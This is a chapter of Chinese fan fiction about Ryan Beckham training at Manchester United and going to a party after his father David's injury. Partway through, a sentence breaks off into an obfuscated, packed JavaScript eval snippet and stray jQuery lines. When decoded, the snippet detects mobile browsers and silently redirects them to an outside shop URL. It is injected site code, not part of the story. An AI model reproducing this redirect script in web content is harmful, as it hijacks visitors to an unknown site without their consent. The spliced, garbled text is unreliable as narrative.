第二天清晨，莱恩就趁飞机回到英国，他的训练进度不能落下。
贝克汉姆同样坚持让他回去训练，并且他收到一些内部消息，决定不在米兰做手术，而是远赴芬兰，试图看看自己的左脚能否有起色。
从1998年世界杯被红牌罚下，2002年世界杯沦为罪人，再到2006年世界杯被葡萄牙人瓦伦特踢伤，眼睁睁看着英格兰被点球淘汰。
贝克汉姆的世界杯之旅走的比任何人都要坎坷，但这名三狮军团的队长仍旧没有被命运打倒，他骨子里仍然是一个彻头彻尾的红魔。
他永不服输，只是奇迹太难太难。
莱恩在搭载回曼彻斯特的计程车上，还能听见司机在跟他抱怨这件事。
“该死的米兰人，该死的切沃……”中年男人不停地嘀咕，“现在大卫受伤了，世界杯怎么办？”
他的车上挂着曼联旗帜，到处都是曼联元素的装饰，车内还摆放着一张照片。
莱恩仔细辨认片刻，发现是对方和弗格森的合照，上面还有老爵爷的签名。
搭载的乘客自始至终都没有说话，司机忍不住在心里嘀咕，是不是拉到一个怪胎。
但看在对方的目的地是卡灵顿的份上，他又觉得也许这是个比较内向的曼联球迷呢？
直到停车后莱恩摘下帽子，他才惊呼：“你是莱恩·贝克汉姆，大卫的那个儿子！”
“boy！”司机兴奋又忐忑地询问，“你是去看你父亲的吗？大卫怎么样了？”
只是还不等他回答，对方又激动地接着说：“管他呢！反正BBC到时候肯定会报道的，你能给我一个签名吗？”
莱恩没想到对方会问他要签名，他从没练过这东西。
但他没有拒绝，而是在对方递来的球衣上认真地签下了Ryan这四个字母。
“我看过你踢曼城的那场比赛，”司机滔滔不绝，“老天，说实话，我已经迫不及待想看到你出现在老特拉福德了。”
一般人很少会看U15的比赛，除非是铁杆球迷。
他看向莱恩的视线中饱含希望与热忱：“好好踢球，你是曼联和英格兰的未来。”
你是曼联和英格兰的未来。
莱恩咀嚼着这句话走进卡灵顿，迎面就撞见正在嬉戏打闹的林加德和博格巴。
“莱恩！”
林加德看见他后眼神一亮，他推开博格巴，小跑到对方面前。
被好基友一把推开的博格巴难以置信地愣在原地：？Hello？
莱恩五官精致优越，盛满日光的碧绿色眼睛让他如同神话里的精灵族，这让拥有巧克力肤色的平头青年瞬间呆了呆。
他不好意思地低下头：“你daddy还好吗？别误会，我不是想打探消息，我就是，呃——”
“他想邀请你今晚去他家参加party，”博格巴走上前，主动开口替朋友解释，“杰西刚刚搬家。”
只是贝克汉姆在这个时间点受伤，林加德和莱恩不算特别熟悉，所以邀请时才犹豫不决。
莱恩从来没有过朋友，这是他第一次受到别人的邀请。
社交是一件耗费精力的事情，但拒绝的话到嘴边，莱恩却在林加德忐忑不安的眼神中改变了想法。
他说：“如果你不觉得冒犯。”
林加德几乎是瞬间回答：“当然不！”
博格巴简直没眼看。
他抖抖身上的鸡皮疙瘩，不满地叫出声：“杰西，恕我直言，你这样好像在追求一个姑娘，殷勤地问她愿不愿意去你家过夜似的。”
林加德：“……保罗，你完全可以不用没话找话。”
他笑嘻嘻地同时揽住博格巴和莱恩，高高兴兴地开口：“走吧，咱们该去训练了，莱恩，要不要打赌我今天能进你几个球？”
“不用赌，”莱恩的视线从主教练办公室收回，“你和保罗一个都进不了。”
“嘿——！”
博格巴和林加德同时发出不满的嘘声。
*
训练结束后，莱恩照常留下来加训。
夕阳垂在天边，他回忆贝克汉姆的任意球踢法，尝试让足球按照他的轨迹飞进球门。
汗水顺着少年的额角流下去，莱恩随意地用球衣擦拭，继续坚持训练。
弗格森背着手站在场边，没人知道他看了多久。
他问：“你想学习你父亲的圆月弯刀？”
听到声音，莱恩停下脚看向他，点点头：“是的，爵士。”
弗格森嚼着口香糖，走到他身边。
“在你们这个年纪，”老人和蔼地笑笑，“很少会有人想被打上父辈的标签。”
“你不担心以后被叫做贝克汉姆二代，又或者是小贝克汉姆吗？”
莱恩挑起球，将它扔进球筐。
“这不是我能决定的，”他站在弗格森身边，“但我想，我应该不会反感。”
因为他所得到的一切，都是全靠自己的努力。
球场上，前锋们可不会因为他是贝克汉姆的儿子而放他一马。
“好小子，”曼联主教练拍拍他的肩膀，“以后任意球让你父亲教你。”
他促狭道：“反正他以后恐怕也很空闲。”
*
在莱恩回到曼彻斯特的当天，BBC就立马报道了大卫·贝克汉姆的伤势。
左脚跟腱断裂让三狮队长缺席本届南非世界杯这一事实，简直让英格兰全体上下发狂到恨不得生撕了意大利人。
英国媒体更是直接炮轰AC米兰，质疑对方是否有这个医疗水平来支撑对球员的治疗。
三狮队长躺在病床上含泪表示不能再为国效力的照片，成为无数英格兰人的噩梦。
甚至有记者公开表示：英格兰U16国家队应该征召莱恩·贝克汉姆入队，他们英格兰不能没有贝克汉姆，老的不行小的也
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12239109|130204||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
行。
俨然整个国家已经发狂到让人目瞪口呆的地步了。
看到消息的莱恩：？
他坐在林加德新家的沙发上，几乎是面无表情地看完了BBC整则有关贝克汉姆的报道。
林加德在旁边小心翼翼地看着他的脸色，绞尽脑汁地试图开口安慰他：“没事的莱恩，我相信你父亲他一定会好起来。”
“没事杰西，不用特地安慰我，”莱恩摇着头放下报纸，“我和daddy都没有那么脆弱。”
他只是心中对媒体更加敬谢不敏。
看到朋友一切都好，林加德这才放下心。
他在安顿好莱恩后，很快又欢快地冲进人堆里和模特美女们跳舞，舞姿劲爆到让莱恩忍不住偏开视线。
他并不能很好地适应五光十色的世界，也难以忍受刺耳的声响与室内混杂的各种香水味，于是打算找个僻静的角落待着。
只是莱恩刚坐下，却意外地发现对面正坐着一个有莫西干发型的青年。
他面上带着微微的惆怅，在看到莱恩后有很明显的局促不安。
“你好，”莫西干青年主动打了招呼，“我叫费代里科·马切达。”
莱恩点点头，回了个招呼。
马切达的发型很引人注目，让莱恩忍不住想起自己的父亲。
贝克汉姆在年轻时也留过莫西干发型，但效果却实在不忍恭维，至少莱恩不太欣赏。
马切达这赛季在曼联过的不算顺畅，0809赛季绝杀后的一球成名好像就发生在昨天，但0910赛季，他仅为曼联出场5次，获得一个进球。
这让意大利人心中苦涩难言。
身边坐着的莱恩看上去既美貌又星光闪闪，笼罩在父辈光环下的他不用为生计发愁，是马切达最羡慕的那种人。
等回过神时，他猛地意识到自己似乎已经盯着莱恩看了很长时间。
犹豫片刻，马切达还是挪到对方身边，如同对待女神般小心翼翼地问：“嘿，莱恩，可以交换一个电话号码吗？”
老天！
他敢担保，自己当初追求女友时都没有这么窘迫与自卑。
莱恩没有为难对方，他也没什么“球二代”的架子，而是干脆地将号码报给马切达。
拿到号码后，意大利人忍不住露出一个心满意足的笑。
“下次可以一起单独训练吗？”他问完又很快补充，“我们可以练习一对一扑救。”
这没什么不能答应的，莱恩干脆地点点头。
意大利人见自己没被拒绝，如释重负般开始絮絮叨叨地聊天，谈起这次的世界杯，谈起贝克汉姆的伤势，并且表达自己对他衷心的祝愿。
“抱歉，”莱恩打断他的话，“我身体不舒服，恐怕要先失陪了。”
马切达讪讪地闭嘴，以为是自己太过啰嗦。
但等到莱恩站起身时，意大利人才发现对方脸色是不正常的白。